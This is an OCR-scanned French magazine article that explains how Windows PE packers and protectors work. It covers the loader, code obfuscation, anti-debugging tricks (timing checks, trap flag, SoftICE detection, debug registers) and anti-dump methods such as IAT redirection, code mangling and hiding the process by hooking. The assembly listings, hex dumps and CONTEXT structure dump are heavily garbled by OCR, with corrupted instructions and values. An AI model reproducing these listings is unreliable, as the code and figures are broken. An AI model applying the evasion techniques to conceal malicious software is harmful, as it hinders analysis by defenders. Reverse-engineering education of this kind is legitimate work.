L'lmageBase est 'adresse a Iaquelle un executzble sera ::harge en memoire Elle est generalement de 0x400000 pour les pmgmmmes

Taille de tout Ies headers + la table des sections. Peut aussi servir de RAW offset de Ia premiere section dans le ﬁchler

SizelifHeaders
Subsytem Indique s'il s'agit d'un exécutable avec interface graphique ou mode console,
Datalirectory

Tableau de structures IMAGE DATA_DIRECTORY. Contient la RVA de structures impormntes que lmport table, 'export table,

by Sl




Champ Description

Virtual Size
Virtual Address

Name Nom de la section.8 caractéres au maximum (ne se termine pas par zéro si le nom est de 8 cara
Taille de la section alignee selon le SectionAlignment du fichier.

II s'agit de la RVA de la section. (Il faut donc ajouter I'InageBase pour obtenir I'adresse vircuelle).

SizeofRawData Taille de la section alignée selon le FileAlignment.
PointerToRawData Offser du début de |a section dans le fichier. Utilisé par le PE Loader.
Characteristics

Contient les caracteristiques de la section : exécutable, data, data non initialisées, droit en ecriture, lecture etc.

Il faut ensuite ajouter des octets en fin de fichier a I'adresse du RAW
Offset et de la taille de la section dans le fichier (RAW Size) : c'est
la que sera ajouté le code du LOADER du packer/protecteur.

# Modification de SizeOflmage
Une protection doit modifier le champ Size0fImage, en tenant
compte de la taille de la nouvelle section ajoutée, pour que
'exécutable soit reconnu comme valide par le systéme
d’exploitation (dépend de I'OS).

# Modification du point d’entrée
Dans le IMAGE_OPTIONAL_HEADER, un champ contient la RVA du point
d’entree, c'est-a-dire |'adresse virtuelle (relative a I'ImageBase)
de la premiére instruction exécutée par I'application. Lors de la
protection d'un exécutable, il faut remplacer cette RVA par la
RVA du début du LOADER du packer pour que celui-ci prenne
la main lors de I'exécution du fichier et puisse par exemple
déchiffrer la section CODE originale de I'application. La valeur
du point d'entrée original est d’ailleurs sauvegardee par le packer
pour appeler ultérieurement 'ancien point d'entreée, et exécuter
I'application normalement, une fois décompressée et décryptee.

Toutes ses modifications ont pour but de faire accepter le fichier
protege par le PE LOADER du systeme d'exploitation. Je nai pas
deécrit toutes les modifications, mais seulement les plus importantes.

Le LOADER

Les packers/protecteurs injectent tous un LOADER dans 'exécutable
protégé. Son réle est d'assurer le décryptage et la décompression
en mémoire de I'exécutable packe, de charger lui-méme les adresses
des fonctions Windows utilisées par 'application, si jamais la table
d'import est aussi cryptée / compressée, puisque le PE LOADER
de Windows n'aura pu s'en charger. C'est dans le LOADER qu'est
placée la majorité des protections que je detaillerai plus tard dans
I'article. |l est important de rendre I'analyse du LOADER la plus
complexe possible, pour faire durer I'analyse et empécher 'unpacking.
Un attaquant va en effet essayer de trouver la partie du LOADER
qui rend la main au programme protége, qui est désormais
completement décrypté et décompressé en memoire. Dans le cas
de packers simples tel qu'UPX {vous pourrez le lire dans 'article
sur IDA dans ce méme numeéro), il suffit simplement de dumper le
processus lors de I'appel du point d'entrée original pour obtenir
un exécutable completement déprotége.

Generalement, le LOADER est programmé en langage assembleur
pour sa petite taille, et les possibilités virtuellement infinies
d'obfuscation de code.

Voici une liste de tiches (simplifiées) effectuees par un LOADER
(dépend du packer) ;
= décryptage du LOADER ;
= décompression et décryptage des sections de |'exécutable
protegé ;
= application des relocations si besoin (DLLs) ;
= récupération des adresses des fonctions Windows pour les
placer dans I'lAT lorsque le PE Loader de Windows n'a pu le
faire ;
= gestion du TLS (Thread Local Storage), essentiel pour les
executables Delphi ;

= récupération du point d'entrée original (sauvegarde lors du
packing de |'application) et saut vers celui-ci.

Des techniques d'anti-debugging sont souvent employees pendant
{et entre) chaque étape du LOADER.

Et la compression dans tout ca ?

Pour éviter un article trop long, je ne détaillerai pas la compression
d'un exécutable.Voici cependant quelques informations sur les
techniques employées. Les sections compressees se voient attribuer
une RAW 51ze de O dans leur structure [MAGE SECTION_HEADER.

La taille de la section en mémoire reste inchangée puisque les
données décompressées seront placées dans la section en memoire.
Les caractéristiques d'une section compressée contiennent le
flag UNINITIALIZED DATA (2 cause de la taille de zero sur le disque).

Généralement, les données compressées sont placées dans la méme
section que le loader, et c’est celui-ci qui se charge de décompresser
les données en mémoire, d'ou la nécessite de garder la Virtual Size
intacte.

@ Exemple : Dump de la section UPX0
Name: Lpyg
Virtualsize; BxB08 10080

VirtualAddress: fxpeen10es
SizelfRawlata: fxaeeaEnon
ToRawlata: BxREEE@4a0

ToRelocations: BxBAGOORED
BrBdaaangn
0008
fagaas

[_DATA, EXECUTE, READ, WRITE)

[UNIRITIALL

On observe le flag UNINITIALIZED DATA, une SizeDfRawData (RAN Size)
de 0. Le RAW Offset est de 0x408, mais si on regarde la section qui
suit, on s'apercoit que celle-ci commence a la méme adresse :

(2)
5
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Name; Pl
Virtualsize: ExGaa16a00
Yirtualdddress: BxfoaLERan
SizelfRawData; Ex0pa156ae
PointerToRawData: Ex0eandsan

PointerfoRelocations: OxBOBBAAG0

PointerToLinenunbers: @x@20apang

HumberOfRelocations:  ExB086

NumberOfLlinenunbers: 00088

Characteristics: BxE0ARGELA

(INTTTALIZED _DATA, EXECUTE, READ, WRITE)
Voila pour la compression des données. e vous conseille de consulter
des sources de packers si la compression d'exécutables vous
intéresse.

Les méthodes de Protection
Les protections contre 'analyse de code

Pour s'assurer d'une certaine perennite face au Reverse Engineering,
les protections d'exécutables essaient de ralentir le plus longtemps
possible les attaquants.Voici un apercu non exhaustif des techniques
employees.

Les Obfuscations

La premiére étape pour ralentir I'analyse du code est d'utiliser des
obfuscations pour rendre le code incompréhensible lors du débogage
{ou du désassemblage) de I'application. Il est possible de diviser les
obfuscations en deux catégories.

En premier, les macros placees entre les vraies instructions pour
rendre le code illisible dans un désassembleur/débogueur.

Elles sont géenéralement utilisées comme ceci :

oge rée]

code réel
Macro

code réel
Macro
etc..
Ces macros brouillent le code et par conséquent perturbent les
outils d'analyse. Il en résulte souvent un désassemblage erroné,
méme avec les meilleurs outils.

Le second type d'obfuscations s'applique au niveau du déroulement
du programme. Habituellement, le code d'une application est exécute
de haut en bas en suivant une certaine logique. Ce type
d'cbfuscations permet par exemple d’exécuter des instructions
dans un ordre autre que celui observé dans le désassemblage.

Des portions de code peuvent étre placées dans le désordre pour
étre ensuite appelées a l'aide d'un index dans un tableau d'adresses
pour se positionner sur |'llot d'instructions a exécuter.

L'analyse par désassemblage devient alors plus complexe et
l'utilisation d'un désassembleur a forte interactivité devient
indispensable pour continuer I'analyse (voir article sur IDA dans ce
méme numero).

Voici maintenant un exemple d'obfuscation que I'on retrouve dans
le LOADER du packer.Cela permet d'effectuer des tiches diverses
tout en rendant le code difficile a suivre,

coded:

code fei

ret

tableauchfuscation dd BDeadbeefn, offset codel, offset

set coded

Voici comment appeler le code dans le bon ordre :

%o edi,edi
boucie
ine egi
my ehy.dword ptr [edi*d + offset tableauohfuscation]
call ehx
cmp g, 4

jnz

Ce listing assembleur permet d'exécuter codel, code? et coded I'un
apres |'autre sans pour autant étre dans le bon ordre quand on
regarde le code avec un désassembleur.

Bien sir, ceci n'est qu'un simple exemple. Il est possible d'utiliser
plusieurs tableaux, ainsi que des opérations arithmétiques pour
calculer les adresses a partir de données d'un ou plusieurs tableaux,
voire méme de placer chague adresse dans des ordres differents,
contrairement a I'exemple propose plus haut.

Dans cette catégorie d'obfuscations, on retrouve aussi les astuces
de programmation pour émuler une instruction simple.Voici par
exemple une émulation d'un jump :

push (offset maroutine + 754841)
sub [£sp], 754841
ret

Un simple jmp maroutine replace efficacement ces quelques lignes.
Cependant, lors du desassemblage, IDA crée une liste de réferences
aux routines d'un programme. Et pour le cas du jmp, IDA crée une
référence vers la routine : il est donc possible de savoir quelle partie
de code appelle cette routine. Ce genre d'astuces ne laisse aucune
réference dans le code puisqu'elle ne provoque pas d'appel direct,
et il est donc nécessaire de créer les références manuellement.

Pour I'analyse statique, il faut alors calculer I'adresse de destination
pour suivre le code. Les scripts IDC s'averent tres utiles dans ces
cas-la.

Les Anti Debug

Les debogueurs permettent de tracer pas a pas |'execution d'une
application, il est donc naturel de vouloir les bloquer. Les protections
d'exécutables emploient des techniques d'anti-debug pour détecter
la présence d'un débogueur en mémoire ou d'un tracing pas a pas
sur le code de la protection. Ces méthodes ont pour but de ralentir
la progression dans le code de la protection.




Détections par Timing

Le principe des détections par timing est trés simple. |l suffit de
quantifier le temps d'exécution de certaines parties de code, et de
verifier la présence de grands écarts entre le temps d'exécution
normal et le temps releve.

En utilisant certaines astuces de programmation et mesures de
temps, il est possible de détecter la presence d'un tracer ou
débogueur tel qu'Ollydbg.

Les détections les plus fréquentes utilisent l'instruction assembleur
ROTSE, ou la fonction de I'API Windows : GetTickCount.

La fonction GetTickCount renvoie le nombre de millisecondes
écoulées depuis le lancement de Windows. Grice a cette fonction,
il est aisé de mesurer le temps d'execution d'une routine pour
déterminer si cette derniére est déboguée (temps bien supérieur).

Linstruction ROTSC renvoie dans le registre EAX (et EDX) un nombre
de cycles processeurs. |l suffit d'exécuter deux fois de suite cette
instruction pour mesurer le nombre de cycles processeur ecoule
entre les deux.

Lutilisation de l'instruction assembleur est recommandéee (méme
s'il est aussi possible de l'intercepter), car il est possible de “hooker”
la fonction GetTickCount pour contourner les détections qui
I'emploient.

Linstruction RTOSC doit impérativement étre utilisée avec une
instruction de synchronisation telle que cpuid pour eéviter les faux
positifs. En effet, rien ne garantit qu'elle s'exécutera dans I'ordre
que vous aviez defini sur les processeurs récents. Le test sur la
valeur du registre £AX (RDTSC renvoie le nombre de cycles dans EAX)
pourrait donc étre exécuté avant ou apres 'exécution de ROTSC, ce
qui impliquerait un faux positif.

Détections par Exception

Avant de commencer par décrire ce type de détections, voyons
quelques mots clés.

= exceptions :

erreur dans le déroulement d'un programme. Il existe un nombre
d'exceptions considérable. Dans le cadre d'une protection, les
exceptions sont déclenchées volontairement pour modifier le
déroulement du programme. Parmi les exceptions déclenchees
par les protections figurent les violations d'acceés, le single step
ou encore les divisions par zéro ;

= SEH (Structured Exception Handling) :

il s'agit du systéme de gestion d'exception offert par Windows.
On utilise les SEH pour installer son propre gestionnaire
d'exception. C'est I'équivalent bas niveau du “TRY” "EXCEPT" ;

s Trap Flag :

le Trap Flag est utilisé par les débogueurs pour tracer en mode
pas a pas. Lorsque ce flag est activé (registre EF1ags), chaque
instruction exécutée declenche une INT 1. (exception Single
STEP).

Certaines méthodes de détection sont fondées sur les exceptions.

Voici un exemple de détection qui utilise |e Trap Flag. Ce type de
code se trouve dans le LOADER du packer, qui essaie d'empeécher
le débogage de son code. La protection installe son propre

gestionnaire d'exception, puis active |e Trap Flag comme ceci :
PUSHF ; place sur 1a pile Te registre efiag
POR AX o récupére 14 valeur dans A,
OR &K, D184 « betive Te bit TF (Trap Flag
PUSH AX C

FORF
nop

{Single STE7)

te valeur dans le registre eflag,

Aprés un bout de code similaire a celui-ci, la prochaine instruction
rencontrée declenche une interruption | (exception Single STEF).
Comme les débogueurs utilisent eux-mémes le Trap Flag, I'exception
est gérée par le gestionnaire d’exception du debogueur et non celui
de la protection.

# Exécution sans débogueur :

Lorsque la protection est exécutée sans débogueurs, celle-ci
installe son propre gestionnaire d'exception et active le Trap
Flag. L'instruction suivante genere une exception de type Single
STEP. Le gestionnaire d'exception est donc appele, et s'il s'agit
bien d'une exception Single STEP, il redirige le programme pour
continuer |'exécution normalement. |l est aussi possible de
déchiffrer une routine a partir du gestionnaire d'exception et
de I'exécuter ensuite pour continuer le deroulement du
programme.

# Exeécution avec débogueur en mode pas a pas:

La protection commence par installer son gestionnaire
d’exceptions, puis active le Trap Flag. Contrairement au cas
précedent, I'exception Single STEP geneéree est géree par le
gestionnaire d'exception du débogueur, et non par celui de
I'application car le debogueur pense que I'exception provient
de son débogage pas a pas. Le gestionnaire d'exception du
débogueur rend ensuite la main & I'instruction suivante et
continue le débogage comme si de rien n’etait. Dans le cas ou
le gestionnaire d'exception de la protection décrypte du code
essentiel au bon fonctionnement de I'application, le programme
ne pourra fonctionner lorsqu'il est débogué car le code de
déchiffrement ne sera jamais appelé.

Détections de SoftiCE

SoftICE est un débogueur kernel qui permet de virtuellement tout
déboguer, des applications standards aux services Windows, en
passant par les drivers (Ring0).

Lors de son installation, SoftlCE modifie certaines propriétés de
la machine. Normalement, sous Windows 2000/XP lors
de l'interruption |, une exception “EXCEPTION_ACCESS_
VIOLATION” (BxCOBREGES) est déclenchée car I'interruption | a un
DPL O (Descriptor Privilege), ¢'est-a-dire que les accés ne sont possibles
qu'a partir du Ring 0. En revanche, lorsque Soft ICE est lance, il
modifie le DPL de I'lnt |, en e passant de DPL 0 4 DPL 3. A partir
de ce moment, une Int | déclenchera non pas une exception de
type Access Violation, mais une exception Single Step (8x88200084).

La détection de SoftICE est des lors relativement simple. Un handler
d'exceptions est installé avant I'appel de I'Int |, qui verifiera par la
suite le code d'exception pour déterminer si SoftlCE est présent
en mémoire. Signalons que cette detection ne fonctionne que sur
les systemes NT (2K et XP).

< 28I
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Détournement d*interruptions

Les débogueurs s'appuient sur certaines interruptions pour
fonctionner. il est donc naturel de voir des protections les détourner.
L'int | et 3 sont généralement la cible de ces detournements. L'Int
| est utilisee pour le pas a pas (Single Step) et les Breakpoints
materiels, alors que l'interruption 3 est utilisée par les Breakpoints
logiciels (BPX).

Les interruptions, une fois détournées, pointent souvent vers du
code plus ou moins offensif. En général, les interruptions détournées
pointent vers des boucles infinies (freeze de la machine en Ring 0),
ou du code qui rebootera la machine par exemple.

Contrairement a VWindows 9x (95,98 et ME), ou il est possible de
modifier I''DT (Interruption Descriptor Table) directement en Ring 3
(Userfand), sous Windows NT (2K, XP), il est nécessaire de passer
en Ring O (kernel land) pour obtenir les droits d'écriture sur I'IDT.
Un driver est alors seul moyen “réglementaire” de passer en ring
0.l existe quelques hacks qui permettent de passer outre ['utilisation
d'un driver, mais ils ne sont pas officiels, et ont de grandes chances
de ne plus fonctionner dans les Service Packs a venir.

Les Registres de Debug (Debug Registers)

Les registres de Debug sont utilises pour les points d'arréts
materiels. Contrairement aux points d'arrét logiciels (Int 3), le
programme débogué n'est pas modifié par la pose de points d'arrét.

= Registres point d’arrét : DRO, DRI, DR2, DR3
Au nombre de quatre, ces registres permettent de poser des
points d'arrét différents. La taille de ces registres est de 32
bits. Les adresses des points d'arrét sont placees dans ces
registres lors de la pose d'un Breakpoint matériel.

* Registre d’état : DR6
Le registre DR6 est utilisé conjointement avec |'interruption
|. Lors de son déclenchement, elle utilise DRG pour identifier
la cause de l'interruption.

= Registre de contréle : DR7

Clest le registre qui permet de définir le type de point d'arrét
utilisé. Certains bits du registre servent a definir I'étendue
du point d'arrét. En effet, il est possible de travailler sur un
octet, un mot, ou un double mot. D'autres bits permettent
de definir la condition du point d'arrét : lecture (R), eécriture
(W), lecture-écriture (Rd), ou bien exécution (X). Il existe aussi
des bits permettant de définir la portée du point d'arrét. Un
point d'arrét peut étre global, ou local.

Pour plus d'informations, lire la documentation Intel.

Utilisation des registres de debug dans une protection

Les protections d'exécutables mettent a zéro les registres de Debug
pour effacer les points d'arrét materiels (BPMs) qu'une personne
aurait pu poser a l'aide d'un débogueur.

Les débogueurs travaillent beaucoup avec les registres de Debug,
il n'est pas rare de voir des protections utiliser ces derniers pour
y placer des cles de dechiffrement. Lorsqu'un débogueur est utilisg,
les clés sont alors modifiées, engendrant par la méme occasion un
plantage de I'application.

Il existe des outils pour protéger |'acceés aux registres de Debug
(SuperBPM par exemple). Cependant, il est trés simple de les
détecter. |l suffit simplement d'effacer les registres de Debug, puis
de les relire a nouveau. Si les registres ne sont pas nuls, ils sont
protegés par un outil.

Structure Context

Les protections d'executables utilisent les exceptions pour accéder
au CONTEXT de I'application protegee. Lorsque le gestionnaire
d'exception prend la main, il donne accés a diverses structures, telle
que la structure CONTEXT.

Cette structure contient ['eétat de tous les registres a l'instant de
I'exception. On peut modifier les registres, et donc entre autres les
registres de Debug, qui ne sont théoriquement accessibles qu'a
partir du Ring 0.

En modifiant le registre EIP, il est possible de rediriger le code de
I'application comme si nous venions d'exécuter un jmp ou un call,
mais de maniére moins conventionnelle.

Voici un dump (partiel) de la structure :
typedef struct CONTEXT {

OMORD ~ Drd; /| Debug Register § +4
OWORD  Orl; /{ Debug Register 1 +8
DNORD  Dr2: Register 2 +08Ch
ONORD  Dr3; Register 3 +18h
OWORD  Or6; b Hén
ONORD ~ Dr7; 7 18

DWORD  Seghs; G5 +BCh
DHORD  SegFs; Fo 440
[WORD  Segfs;
DWORD  Seals; DS +38t

£d
ksi;
Ebx;
[WORD  Edsx;
[DWORD  Ecx;
DWORD  Eax; AY +J50h

DNORD  Eb; (5P +084H

ONDRD  Eip;

OMORD. S
DWCRD
E

OHORD

OKORD

Y CONTENT:

Comme vous avez pu le lire dans la partie sur les Registres de Debug,
ces registres sont utilisés par les points d'arréts matériels. Il est
donc tres utile d’acceder a cette structure, pour pouvoir effacer ce
type de Breakpoints en mettant les registres correspondants a zéro.
Les débogueurs ne stopperont plus, et |'analyse devient plus
compliquee.

Les layers de cryptage

Pour proteger les applications contre I'analyse, les protections
utilisent toujours des layers de cryptage. Genéralement, a l'instar




des virus, des moteurs polymorphiques sont utilisés pour générer
un cryptage/décryptage different pour chaque application protégée.

On trouve généralement deux types de cryptage.

= Le cryptage de la protection
Le code de la protection est crypté pour empécher l'analyse
statique et les modifications. La protection commence
réellement aprés une série de layers, et il n'est pas possible
de la patcher en théorie puisque les instructions ne sont pas
en clair dans le fichier. Plusieurs parties de la protection
peuvent étre séparées par des couches (layers) de cryptage
differentes pour former une protection a plusieurs niveaux.

= Le cryptage de Papplication
Tout comme la protection, I'application est elle aussi cryptée
pour empécher les modifications du logiciel (gestion des
licences, les limites dans le temps, les fenétres de rappel, etc.).

Les couches de cryprage sont utilisées dans le LOADER du packer.
Celui-ci est en général crypte sur plusieurs niveaux pour compliquer
I'analyse, et n'est & aucun moment décrypté entierement en
meémaoire.

@ Exemple : Début d'un Loader de Packer
decryptage couche 1
décryptage couche 2
Début du Toader
décryptage couche 3
Suite du loader

gécryptage couche 4

Décryptage de 1'application protégée 1

cryptage couche &
decryptage couche b

Décryptage de |'application protégée 2
22 I

Chagque decryptage se fait I'un a la suite de I'autre pour pouvoir
executer la suite du code. Tantdt la protection s'auto-dechiffre,
tantot elle dechiffre I'application protegée.

Pour effectuer I'analyse complete du loader, il faut donc analyser
chaque couche de cryptage.

Les protections “anti-dump”

Par anti-dump, j'entends toute protection permettant d'empécher
le dump de I'application, ou les méthodes rendant I'exécutable
inutilisable aprés dump mémoire.

Ces protections prennent place pendant le chargement du fichier
packe, et certaines d'entre elles sont appliquées lors de la protection
de l'exécutable, et non au runtime.

Détournement de UIAT

Depuis quelques années, les protections d'exécutable détournent
les appels aux fonctions de I'API (Application Programming Interface)
Windows.

Au lieu d'appeler une fonction directement, un programme protégé
appellera d'abord une routine de protection qui se contentera
d'appeler la bonne fonction.Voici un petit schéma pour résumer le
détournement d'une AP :

appelle
frogramme normal ———-> Fonction

appelle appelle

Pragramme protégé > Routine Protection -> Fonction

Quel est I'interét d'un détourment ?

Les adresses présentes dans |'import table pointent vers la
protection apres le dump du programme. La protection n'étant plus
active, les adresses n'existent plus et le programme affiche une
erreur et s'arréte.

Nous allons passer en revue quelques méthodes utilisées par
certaines protections pour rediriger les appels aux fonctions de
I'API'Windows.

Redirection simple

Dans un programme non protege les fonctions sont appelées

ainsi :

FF1504805301 CALL [KERNEL32!GetVersionExd]

Ce CALL appelle une fonction 4 I'adresse 2x38538804. |l suffit de retirer

FF15 dans 'opcode et d'inverser I'ordre des octets pour obtenir

cette adresse (en gras ci-dessus). L'appel a cette fagon s'ecrit alors

CALL DWORD PTR [53BED4]. Jetons un oeil 3 cette adresse :

G1AF:BA530ED4 OF i6 FG 2F 89 43 F7 BF-5 E1 78 BF (6 20 F8 AF

B1AF:9B536AES B 5 BF 88 20 F9 BF-BZ BY 77 BF BD B9 F7 &F

1A GB5360F4 B F7 BF BE 54 F9 BF-32 68 FC BF DA (5 F8 &F
FA RS FO BF BL 42 FE BF-AE TOFTBF D5 79 F7 B

e Wna
-

£
e
i

e

1AF: FB D4 FA BF Bl 6F FB BF §7 EE FO BF
O1AF:EP538124 £C 13 F8 BF 54 74 I T0 FT BF 3C €6 FO BF
BIAF:HE53B134 OF FA F9 BF 22 08 FR BF-2A BA FA BF 18 13 FO BF

Nous sommes ici dans I'|AT (Import Address Table).

C'est une table qui contient les adresses de toutes les fonctions
utilisees par le programme. Les adresses sont placées dans cette
table lors de I'exécution du programme par Microsoft(R)Windows.
L'adresse “BFF91688™ est donc |'adresse de la fonction GetVersionfxa.

Les protections modifient I'IAT et remplacent les adresses des
fonctions par leurs propres routines. Voici un exemple tres simple
de détournement :

FFI51284A008  CALL [00684121

Regardons I'|AT.

B1AF: 9688412 75 20 85 71 41 52 85 21 11 74 85 21 73 98 85 21

Le programme appelle 'adresse 21852075 (équivalent & CALL 21852075)
21852075 PUSH BFF91620

21852874 RET

La protection place sur la pile I'adresse de la fonction a appeler, et
ensuite utilise un RET pour s’y rendre. Ceci est la forme la plus
simple du détournement dans I'lAT,

Pour réparer ce détournement, il suffirait de remplacer I'adresse
dans I'|AT (21852075) par I'adresse de I'API : BFF91620. Ce qui nous
donnerait :

BLAF:000E8412 20 16 F9 BF 41 52 8521 11 74 85 21 73 9885 21

Pour réparer toute I'lAT, il suffit d'appliquer cette méthode pour
chaque fonction, mais cela prend bien entendu beaucoup trop de
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temps a la main. Il est possible de programmer une routine (call
fixer) en mémoire pour réparer chaque adresse a notre place, ou
alors de patcher la protection lors du détournement pour |ui
empécher de détourner les fonctions.

Il existe aussi un outil pour reconstruire les tables d'import qui
permet de tracer les détournements et de remplacer
automatiquement les adresses dans la I'lAT : Imp Rec [3].

Détournement avec pseudo-émulation

BIAF:BR442848  FRISOLA04S

@1AF:00465004 14 20 EE 00 28 20 EE 1 7 EE BO 40 28 EE 00
G1AF: 8346504 4C 2 EE 0@ 58 20 EE 20 EE B8 78 28 EE B2
O14F: 90465074 84 70 EE 00 98 70 EE 70 EE 8 19 C9 EC @9
218F: 20465104 B8 20 EE 0@ C4 20 EE 20 EE B8 FO 20 EE 20
@1AF;BR465114 @5 21 EE @ 14 71 EE Z1 EE BE 38 21 EE @0

La routine détournée appelle I'adresse EE2014. Juste pour information,
voila a quoi ressemble la routine :

B1AF;BREEZ14 PUSH EBP
B14F:BREEZDIR

oY EBP,ESP
BIAF:BOEERRIT SUB ESP, BC
BIAF;BOEEZALA PUSH £5l
BLAF:QOEEZA1B PUSH £l
BIAF:QBEE2BLC NP BFFOI613 <= appel 1'API.

swhat Dff3161
The value BFFE

1613 15 (2) KERNELIZ!GetVersionExh+BRER

o s

Cette routine appelle la fonction GetVersionExh. Ce détournement
est un peu plus complexe que le précédent, puisque la protection
execute les huit premiers octets (cing instructions) de la fonction
dans sa propre routine et ensuite appelle I'adresse de la fonction
+ 8. Pour implémenter ce type “d'émulation”, la protection utilise
un désassembleur.

Cette technique érait surtout efficace il y a quelques années, les
outils de reconstruction automatique peuvent maintenant réparer
les detournements par emulation sans probleme.

Les technigues de détournement de fonctions sont toujours
employées de nos jours, mais ne sont plus vraiment un reel probleme
pour les crackers de code. Cependant, des techniques fondées sur
le détournement s'avérent relativement efficaces.

En passant des paramétres spéciaux aux fonctions détournées, il
est possible d'effectuer des opérations spéciales tel que le décryptage
de certaines parties de |'application. Selon I'implementation, il est
nécessaire de patcher le code pour retirer les parametres spéciaux
qui pourraient faire planter le programme une fois la protection
retiree.

Emulation d'API

Quelques protections emulent certaines fonctions pour dérouter
les outils de réparation d'imports. |l est possible d'appeler les
fonctions a émuler lors du chargement de la protection pour
sauvegarder leur valeur de retour. Bien sdr, ces fonctions doivent
toujours retourner la méme valeur.

® Exemple : Getiersion.

BALB:A16D1488 6ARD PUSH o
#B1B:B1601404 EBSI3OFFFF CALL KERNEL32:GatMo
BALR:A1a014GF FFISERRCE0OL PUSH PTR [B16
A31B:B1A01415 58 pgp

MOV

RET

La protection appelle en premier la fonction GetModuleHandleA.
Sachant que les fonctions retournent leur valeur de retour dans le
registre EAX, il est tres facile de voir que I'appel a GetModuleHand]e4
est simplement un leurre, puisque le registre EAX est en premier
lieu modifie a l'aide d'un PUSH DWORD PTR [adresse] / POP EAX, puis
une derniére fois par un MOV EAX, [Adresse]. C'est cette derniére
valeur qui compte, puisqu'elle est suivie d'un RET.

En Pseudo C, on pourrait traduire les deux dernieres lignes comme
ceci :

Return EAX;

Certains outils de réparation de tables d'import se font leurrer par
I'appel factice a GetModuleHandleA. Le PUSH/POF qui suit est encore
un leurre. Pour trouver quelle est la fonction émulee, il est important
de regarder la valeur retournée dans EAX juste avant le RET.

Il est souvent possible de deviner la fonction emulee. Par exemple,
si la fonction émulée est la fonction GetCommandlineA, on trouvera
dans EAX, un pointeur vers la ligne de commande.

Dans certain cas, il est nécessaire de deboguer la protection. La
meéthode consiste a placer un point d'arrét matériel sur l'adresse
qui contient la valeur de la fonction émulée, et de relancer
|'application. Cette méthode permet de se retrouver dans
l'initialisation des variables utilisées pour I'émulation des fonctions
de 'API Windows.

Code Mangling

Le code mangling est une méthode de protection qui consiste a
modifier la section code de I'exécutable avant d'appliquer le cryptage
et/ou la compression. La modification est permanente pour s'assurer
que la section code ne sera a aucun moment identique a celle
d'origine. En général, ces modifications rendent I'application protégée
dépendante de la protection. Pour pouvoir unpacker un exécutable
protégé par code mangling, il faut programmer des outils qui vont
reparer la section code.

Exemples de Code Mangling

Certaines protections installent leur propre gestionnaire
d'exceptions pour gérer les erreurs rencontrées dans le code de
I'application protégée. La protection a remplacé les instructions
d'origine pour les émuler dans son gestionnaire d'exceptions. Lors
d'un dump, le code de la protection n'est plus présent, et ne peut
donc plus gérer les exceptions générées par |'application, celle ci
est alors inutilisable.

A aucun moment, les instructions criginales ne sont remises dans
I'application, elles ont été tout simplement deétruites, pour étre
ensuite émulées par la protection. La programmation d'outils de
réparation spécifiques est alors nécessaire.

D'autres protections modifient le code des appels aux fonctions
Windows pour effectuer une sorte de redirection d'imports. Cette
méthode est généralement appelée FFI5/FF25 mangling car les opcodes
des instructions qui effectuent les appels aux fonctions Windows
commencent par FF15 ou par FF25 selon le compilateur utilisé.

En plus de devoir réparer la table d'imports, il faut aussi réparer la
section code pour obtenir un exécutable fonctionnel. Les FF15/FF25




sont généralement remplacés par un CALL protection. La protection
reprend alors la main lors de I'appel d’une fonction Windows. Celle-
ci peut trés bien rechercher la présence éventuelle de débogueurs,
et ensuite décrypter I'appel original de la fonction Windows en
memoire allouée, puis I'exécuter.

Suppression du Point d’Entrée

Cette méthode de protection est employée par certains packers
d'exécutables. Le principe est trés simple : copier (pour ensuite les
effacer) les instructions du point d'entrée du programme, et les
placer dans le code de la protection. Elle dechiffre alors ces
instructions, puis les execute avant de rendre |la main au programme
protégé, Ia ou il aurait normalement continue s'il avait exécuté les
instructions lui-méme. Il est possible d'effacer les instructions du
code de la protection une fois celles-ci exécutées pour éviter de
les avoir en clair dans le code de la protection lors d'un dump
memaoire.

La protection met 4 zéro les instructions présentes au point d'entrée
et les exécute (apreés les avoir copiées) dans son propre code. §i la
pratection retire par exemple cing octets lors du saut vers l'entry
point, elle utilisera I'ancienne adresse du point d’entrée + 5, puisque
les instructions auront été exécutees a |'intérieur de la protection
(et car il n'y a plus rien a l'adresse originale du point d’entree).

Les instructions retirées ne sont donc jamais replacées dans le
programme. Lors du dump, il manquera une serie d’instructions au
point d'entrée, instructions nécessaires au bon fonctionnement du
programme.

Il est aussi possible par exemple d'utiliser une machine virtuelle
personnelle pour émuler les instructions retirées.

Le probleme de cette methode de protection est que le code au
point d'entrée d'une application exécute toujours plus ou moins le
méme type d'opérations : Stack Frame, initialisation des registres
etc. Une personne peut facilement “deviner” les instructions qui
ont été retirées du point d’'entrée sans avoir a tracer la protection,
juste en regardant |'état de la pile et des registres au moment du
saut vers le programme original.

Processus caché

Une méthode simple pour bloquer les dumpers simples, est de
cacher le processus dans la liste des tiches. La majorité des dumpers
affichent une liste de processus ol I'attaquant pourra choisir e
processus a dumper.

En hookant certaines fonctions du systéme, a l'instar des rootkits et
autres trojans furtifs, il est alors impossible de trouver I'application

protégée dans la liste des processus des dumpers, et donc par
conséquent, impossible de dumper.

Hook de ReadProcessMemory

De la méme maniere que pour cacher le processus, il est possible
de hooker la fonction ReadPracesshemory et d'interdire la lecture du
process a tout processus excepté le processus protégé |lui-méme.

En retour, les dumpers ne pourront lire la memoire du processus
a dumper et le dump ne pourra étre effectué.

Il s’agit en général d'un hook systeme, c'est 4 dire que le hook est
appliqué sur tout le systeme. Il existe de nombreuses librairies de
hooking de fonctions VWindows qui permettent d'effectuer ce genre
de protection. Le binaire protégé n'est pas modifie. Certaines
protections utilisent un driver pour effectuer le hooking.

Modification de SizeOflmage

Comme vous avez pu lire dans la description du format PE, le champ
SizeOfImage contient la taille de I'image en mémoire. Les dumpers
utilisent cette information pour obtenir la taille de l'image a dumper.

Certaines protections modifient le champ une fois |'exécutable
chargé et avant de rendre la main a 'application décompressee en
y plagant une taille erronée. Le dumper pourra par exemple dumper
une toute petite image, ou une image bien trop grande, voire ne
rien dumper si la valeur est trop importante.

Le dump ne sera au final pas possible. L'outil LordPE [4] permet de
corriger la 51ze0fImage avant d'effectuer un dump du process.

Conclusion

J'espere avoir démystifié le principe des packers d'exécutables
Windows par le biais de cette introduction au packing
d'executables et méthodes de protection.

Pour packer et unpacker, il est nécessaire d'avoir une bonne
connaissance du format PE puisque les protections s'appuient
principalement sur la modification des structures du format.
L'unpacking d'exécutable n'a pas été abordeé ici car je
présente |'unpacking d'UPX [5] dans un autre article de ce
méme numeéro consacré au désassembleur IDA.

Pour un aspect pratique, je vous invite a lire les sources de
divers packers (tel qu'UPX) qui illustreront les techniques
presentées dans cet article.

. | Références

= [5] UPX - http://lupx.sourceforge.net/

